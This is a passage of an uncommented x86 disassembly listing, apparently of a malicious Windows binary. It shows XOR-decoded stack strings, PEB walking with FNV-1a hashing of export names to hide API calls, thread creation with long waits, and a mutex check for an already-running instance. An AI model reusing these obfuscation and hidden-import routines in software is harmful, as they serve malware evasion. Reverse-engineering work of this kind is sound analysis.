xor al, cl
xor al, bl
mov byte [ebp + edx - 0xe9], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0xcb0940
lea eax, [ebp - 0xe9]
mov ecx, 0xa20060
push eax
call fcn.00cba2f0
lea edx, [ebp - 0x5f]
mov ecx, eax
call fcn.00ccbbf0
mov al, byte [ebp - 0x5f]
xor edx, edx
mov byte [0xa1db56], al
mov byte [ebp - 0x118], 0xc7
mov byte [ebp - 0x117], 0xda
mov byte [ebp - 0x116], 0xc6
mov byte [ebp - 0x115], 0xc0
mov byte [ebp - 0x114], 0xf9
mov byte [ebp - 0x113], 0xc9
mov byte [ebp - 0x112], 0xc7
mov byte [ebp - 0x111], 0xcf
mov byte [ebp - 0x110], 0xcf
mov byte [ebp - 0x10f], 0xd5
mov byte [ebp - 0x10e], 0xa1
mov al, byte [ebp - 0x118]
mov dword [ebp - 0x10], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0x118]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa18364a1
cmp ecx, 0xf
mov edx, 0xdc471ac3
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x5f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x118], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xb
jb 0xcb0a00
lea eax, [ebp - 0x118]
mov ecx, 0xa20060
push eax
call fcn.00cba2f0
lea edx, [ebp - 0x60]
mov ecx, eax
call fcn.00ccbbf0
mov al, byte [ebp - 0x60]
xor edx, edx
mov byte [0xa1db38], al
mov byte [ebp - 0x167], 0xb7
mov byte [ebp - 0x166], 0xa7
mov byte [ebp - 0x165], 0xbb
mov byte [ebp - 0x164], 0xb2
mov byte [ebp - 0x163], 0x89
mov byte [ebp - 0x162], 0xbb
mov byte [ebp - 0x161], 0xb9
mov byte [ebp - 0x160], 0xa0
mov byte [ebp - 0x15f], 0xae
mov byte [ebp - 0x15e], 0x84
mov byte [ebp - 0x15d], 0x8f
mov byte [ebp - 0x15c], 0x8d
mov byte [ebp - 0x15b], 0x8d
mov byte [ebp - 0x15a], 0x92
mov byte [ebp - 0x159], 0x9f
mov byte [ebp - 0x158], 0xe8
mov al, byte [ebp - 0x167]
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0x167]
mov ecx, edx
and ecx, 0xf
mov eax, 0xd1ada3d7
cmp ecx, 0xf
mov edx, 0xe94b8012
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x167], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x10
jb 0xcb0ae0
lea eax, [ebp - 0x167]
mov ecx, 0xa20060
push eax
call fcn.00cba2f0
lea edx, [ebp - 0x61]
mov ecx, eax
call fcn.00ccbbf0
mov al, byte [ebp - 0x61]
xor edx, edx
mov byte [0xa1db58], al
mov byte [ebp - 0xf2], 0x37
mov byte [ebp - 0xf1], 0x29
mov byte [ebp - 0xf0], 0x3b
mov byte [ebp - 0xef], 7
mov byte [ebp - 0xee], 0x3b
mov byte [ebp - 0xed], 0x16
mov byte [ebp - 0xec], 0x1a
mov byte [ebp - 0xeb], 0xb
mov byte [ebp - 0xea], 0x6c
mov al, byte [ebp - 0xf2]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0xf2]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1925555d
cmp ecx, 0xf
mov edx, 0x83349529
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xf2], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0xcb0b90
lea eax, [ebp - 0xf2]
mov ecx, 0xa20060
push eax
call fcn.00cba2f0
lea edx, [ebp - 0x53]
mov ecx, eax
call fcn.00ccbbf0
mov al, byte [ebp - 0x53]
xor edx, edx
mov byte [0xa1db57], al
mov byte [ebp - 0xfb], 0x25
mov byte [ebp - 0xfa], 0x28
mov byte [ebp - 0xf9], 0x3f
mov byte [ebp - 0xf8], 0x3a
mov byte [ebp - 0xf7], 0xc
mov byte [ebp - 0xf6], 0x16
mov byte [ebp - 0xf5], 4
mov byte [ebp - 0xf4], 6
mov byte [ebp - 0xf3], 0x6c
mov al, byte [ebp - 0xfb]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0xfb]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1925555d
cmp ecx, 0xf
mov edx, 0x83349529
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xfb], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0xcb0c40
lea eax, [ebp - 0xfb]
mov ecx, 0xa20060
push eax
call fcn.00cba2f0
lea edx, [ebp - 0x54]
mov ecx, eax
call fcn.00ccbbf0
mov al, byte [ebp - 0x54]
mov byte [0xa1ff56], al
jmp 0xcb0caa
mov al, byte [0xa1ff56]
cmp byte [0xa1ff57], 0
jne 0xcb209a
call fcn.00c8b5a0
call fcn.00c91100
mov ecx, 0xa20018
call fcn.00cb2b40
mov ecx, 0xa200ac
call fcn.00cb2b40
mov esi, dword [0x9e70b4]
push 0
push 0
push 0
push 0x916d30
push 0
push 0
call esi
push 0
push 0
push 0
push 0x919540
push 0
push 0
mov dword [ebp - 0x88], eax
call esi
push 0
push 0
push 0
push 0x9267b0
push 0
push 0
mov dword [ebp - 0x8c], eax
call esi
mov dword [ebp - 0x90], eax
call fcn.00c78500
test al, al
je 0xcb0f0a
lea ecx, [ebp - 0x298]
call fcn.00c78a10
mov esi, eax
mov byte [ebp - 4], 0x6b
xor edx, edx
mov byte [ebp - 0x9b], 0x1c
mov byte [ebp - 0x9a], 0x12
mov byte [ebp - 0x99], 0x14
mov byte [ebp - 0x98], 0x1b
mov byte [ebp - 0x97], 0x12
mov byte [ebp - 0x96], 6
mov byte [ebp - 0x95], 0x74
mov al, byte [ebp - 0x9b]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x9b]
mov ecx, edx
and ecx, 0xf
mov eax, 0xabb1e879
cmp ecx, 0xf
mov edx, 0xf353896d
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x79]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x9b], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 7
jb 0xcb0d80
lea eax, [ebp - 0x9b]
mov ecx, esi
push eax
call fcn.00cba2f0
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00cb35c0
mov byte [ebp - 4], 0x6c
xor edx, edx
mov byte [ebp - 0x104], 6
mov byte [ebp - 0x103], 0x3a
mov byte [ebp - 0x102], 0x2f
mov byte [ebp - 0x101], 9
mov byte [ebp - 0x100], 0x10
mov byte [ebp - 0xff], 0x3f
mov byte [ebp - 0xfe], 0x23
mov byte [ebp - 0xfd], 0x20
mov byte [ebp - 0xfc], 0x6c
mov al, byte [ebp - 0x104]
mov dword [ebp - 0x10], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0x104]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1925555d
cmp ecx, 0xf
mov edx, 0x83349529
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x104], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0xcb0e30
lea eax, [ebp - 0x104]
mov ecx, 0xa200c8
push eax
call fcn.00cba2f0
mov edi, eax
mov byte [ebp - 4], 0x6d
mov dl, byte [edi]
mov cl, byte [ebp - 0x1a0]
mov byte [edi], cl
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x194]
mov byte [ebp - 0x1a0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x198], edx
mov dword [ebp - 0x194], esi
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x198]
push dword [ebp - 0x1a0]
call fcn.00cb7140
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x290]
push dword [ebp - 0x298]
call fcn.00cb7140
cmp byte [0xa1ff55], 0
je 0xcb0f05
mov eax, dword [0xa1ff40]
test eax, eax
je 0xcb0efe
push eax
call dword [0x9e70f0]
mov byte [0xa1ff55], 0
mov edi, 0xf
lea ecx, [ebp - 0x2a8]
call fcn.00c7a0d0
mov esi, eax
mov byte [ebp - 4], 0x6e
xor edx, edx
mov byte [ebp - 0xa2], 0x1c
mov byte [ebp - 0xa1], 0x12
mov byte [ebp - 0xa0], 0x14
mov byte [ebp - 0x9f], 0x1b
mov byte [ebp - 0x9e], 0x12
mov byte [ebp - 0x9d], 6
mov byte [ebp - 0x9c], 0x74
mov al, byte [ebp - 0xa2]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xa2]
mov ecx, edx
and ecx, 0xf
mov eax, 0xabb1e879
cmp ecx, 0xf
mov edx, 0xf353896d
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x79]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xa2], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 7
jb 0xcb0f60
lea eax, [ebp - 0xa2]
mov ecx, esi
push eax
call fcn.00cba2f0
push eax
lea ecx, [ebp - 0x1b0]
call fcn.00cb35c0
mov byte [ebp - 4], 0x6f
xor edx, edx
mov byte [ebp - 0x17a], 0xb7
mov byte [ebp - 0x179], 0x85
mov byte [ebp - 0x178], 0x89
mov byte [ebp - 0x177], 0x82
mov byte [ebp - 0x176], pe_nt_image_headers32
mov byte [ebp - 0x175], 0x95
mov byte [ebp - 0x174], 0x98
mov byte [ebp - 0x173], 0xa0
mov byte [ebp - 0x172], 0x9c
mov byte [ebp - 0x171], 0x8f
mov byte [ebp - 0x170], 0x8e
mov byte [ebp - 0x16f], 0x89
mov byte [ebp - 0x16e], 0x87
mov byte [ebp - 0x16d], 0x93
mov byte [ebp - 0x16c], 0x89
mov byte [ebp - 0x16b], 0x9a
mov byte [ebp - 0x16a], 0x9c
mov byte [ebp - 0x169], 0x8f
mov byte [ebp - 0x168], 0xf7
mov al, byte [ebp - 0x17a]
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0x17a]
mov ecx, edx
and ecx, 0xf
mov eax, 0xbc4a24e1
cmp ecx, 0xf
mov edx, 0xbf940107
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x1f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x17a], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x13
jb 0xcb1050
lea eax, [ebp - 0x17a]
mov ecx, 0xa200c8
push eax
call fcn.00cba2f0
mov edi, eax
mov byte [ebp - 4], 0x70
mov dl, byte [edi]
mov cl, byte [ebp - 0x1b0]
mov byte [edi], cl
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x1a4]
mov byte [ebp - 0x1b0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x1a8], edx
mov dword [ebp - 0x1a4], esi
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x1a8]
push dword [ebp - 0x1b0]
call fcn.00cb7140
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x2a0]
push dword [ebp - 0x2a8]
call fcn.00cb7140
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0xcb117a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcb117a
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0xcb1173
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0xcb1156
cmp esi, 0x71948ca4
je 0xcb117e
mov esi, dword [eax + 0x18]
test edi, edi
jne 0xcb1141
mov eax, dword [eax]
jmp 0xcb1111
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0x493e0
push dword [ebp - 0x88]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0xf5
push 0xdb6729ee
call fcn.00c3d2d0
add esp, 8
push eax
push dword [ebp - 0x8c]
call dword [0x9e71b0]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0xcb1239
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcb1239
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0xcb1232
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0xcb1215
cmp esi, 0x71948ca4
je 0xcb123d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0xcb1200
mov eax, dword [eax]
jmp 0xcb11d0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0x493e0
push dword [ebp - 0x90]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0xcb12d9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcb12d9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0xcb12d2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0xcb12b5
cmp esi, 0xfaba0065
je 0xcb12dd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0xcb12a0
mov eax, dword [eax]
jmp 0xcb1270
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push dword [ebp - 0x88]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0xcb1379
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcb1379
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0xcb1372
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0xcb1355
cmp esi, 0xfaba0065
je 0xcb137d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0xcb1340
mov eax, dword [eax]
jmp 0xcb1310
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push dword [ebp - 0x8c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0xcb1419
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcb1419
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0xcb1412
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0xcb13f5
cmp esi, 0xfaba0065
je 0xcb141d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0xcb13e0
mov eax, dword [eax]
jmp 0xcb13b0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push dword [ebp - 0x90]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov ebx, dword [0x9e70b4]
push 0
push 0
push 0
push 0x927260
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x929640
push 0
push 0
mov dword [ebp - 0x90], eax
call ebx
push 0
push 0
push 0
push 0x92c670
push 0
push 0
mov dword [ebp - 0x8c], eax
call ebx
push 0
push 0
push 0
push 0x92e3c0
push 0
push 0
mov dword [ebp - 0x88], eax
call ebx
push 0
push 0
push 0
push 0x9313a0
push 0
push 0
mov dword [ebp - 0x10], eax
call ebx
push 0
push 0
push 0
push 0x931770
push 0
push 0
mov dword [ebp - 0x5c], eax
call ebx
push 0
push 0
push 0
push 0x932e40
push 0
push 0
mov dword [ebp - 0x20], eax
call ebx
sub esp, 0x18
mov dword [ebp - 0x14], eax
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0xa1db74
call fcn.00cb5a60
mov byte [ebp - 4], 0x71
sub esp, 0x18
lea eax, [ebp - 0x368]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.00cb5a60
mov byte [ebp - 4], 0x72
sub esp, 0x18
lea eax, [ebp - 0x380]
mov dword [ebp - 0x94], esp
mov ecx, esp
push eax
call fcn.00cb5a60
mov byte [ebp - 4], 0x73
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x24], esp
push 0xa1db8c
call fcn.00cb5a60
mov byte [ebp - 4], 0x74
mov byte [ebp - 4], 0x6a
call fcn.00c421e0
mov eax, dword fs:[0x30]
add esp, 0x60
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x1c], ecx
cmp ecx, esi
je 0xcb15b9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcb15b9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0xcb15b2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0xcb1595
cmp esi, 0x71948ca4
je 0xcb15bd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0xcb1580
mov eax, dword [eax]
jmp 0xcb1550
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
push 0x493e0
push dword [ebp - 0x90]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0xcb1659
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcb1659
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0xcb1652
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0xcb1635
cmp esi, 0x71948ca4
je 0xcb165d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0xcb1620
mov eax, dword [eax]
jmp 0xcb15f0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x8c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x88]
call dword [0x9e71b0]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0xcb1709
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcb1709
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0xcb1702
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0xcb16e5
cmp esi, 0x71948ca4
je 0xcb170d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0xcb16d0
mov eax, dword [eax]
jmp 0xcb16a0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x5c]
call dword [0x9e71b0]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0xcb17b9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcb17b9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0xcb17b2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0xcb1795
mov esi, dword [eax + 0x18]
test edi, edi
jne 0xcb1780
mov eax, dword [eax]
jmp 0xcb1750
test al, al
je 0xcb20a9
cmp byte [ebp - 0x29], 0
jne 0xcb20a9
call fcn.00c51390
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0x4fc]
call fcn.00cb2710
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x504]
call fcn.00cb2790
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x1e0]
call fcn.00c36c70
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0x1e0]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x380]
call fcn.00c5a0a0
mov edi, dword [0x9e706c]
cmp byte [0xa1ff56], 0
je 0xcb232a
cmp byte [ebp - 0x29], 0
je 0xcb232a
mov byte [ebp - 0x10d], 0x23
xor edx, edx
mov byte [ebp - 0x10c], 0x2b
mov esi, 0xf
mov byte [ebp - 0x10b], 0x3b
mov byte [ebp - 0x10a], 0x17
mov byte [ebp - 0x109], 0xf
mov byte [ebp - 0x108], 0xd
mov byte [ebp - 0x107], 5
mov byte [ebp - 0x106], 1
mov byte [ebp - 0x105], 0x6c
mov al, byte [ebp - 0x10d]
mov dword [ebp - 0x14], edx
nop
mov bl, byte [ebp + edx - 0x10d]
mov ecx, edx
and ecx, esi
mov eax, 0x1925555d
cmp ecx, esi
mov edx, 0x83349529
cmovae ecx, esi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x10d], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 9
jb 0xcb2160
push 0xa1dbbc
lea edx, [ebp - 0x10d]
lea ecx, [ebp - 0x4e8]
call fcn.00cba050
add esp, 4
mov byte [ebp - 4], 0xa5
mov ecx, eax
call fcn.00c36e70
push eax
push 1
push 0
call dword [0x9e71b8]
mov byte [ebp - 4], 0xa6
lea ecx, [ebp - 0x4e8]
call fcn.00c36c70
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x4e8]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x1e
call dword [0x9e7084]
cmp eax, 0xb7
jne 0xcb2201
xor esi, esi
jmp 0xcb24b4
mov byte [ebp - 0xb4], 0x18
xor edx, edx
mov byte [ebp - 0xb3], 0xd
mov byte [ebp - 0xb2], 0x14
mov byte [ebp - 0xb1], 0x26
mov byte [ebp - 0xb0], 0x4a
mov byte [ebp - 0xaf], 4
mov byte [ebp - 0xae], 6
mov byte [ebp - 0xad], 9
mov byte [ebp - 0xac], 0x6c
mov al, byte [ebp - 0xb4]
mov dword [ebp - 0x14], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0xb4]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1925555d
cmp ecx, 0xf
mov edx, 0x83349529
cmovae ecx, esi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xb4], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 9
jb 0xcb2250
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x24], esp
mov dword [ebp - 0x94], esi
mov ecx, esi
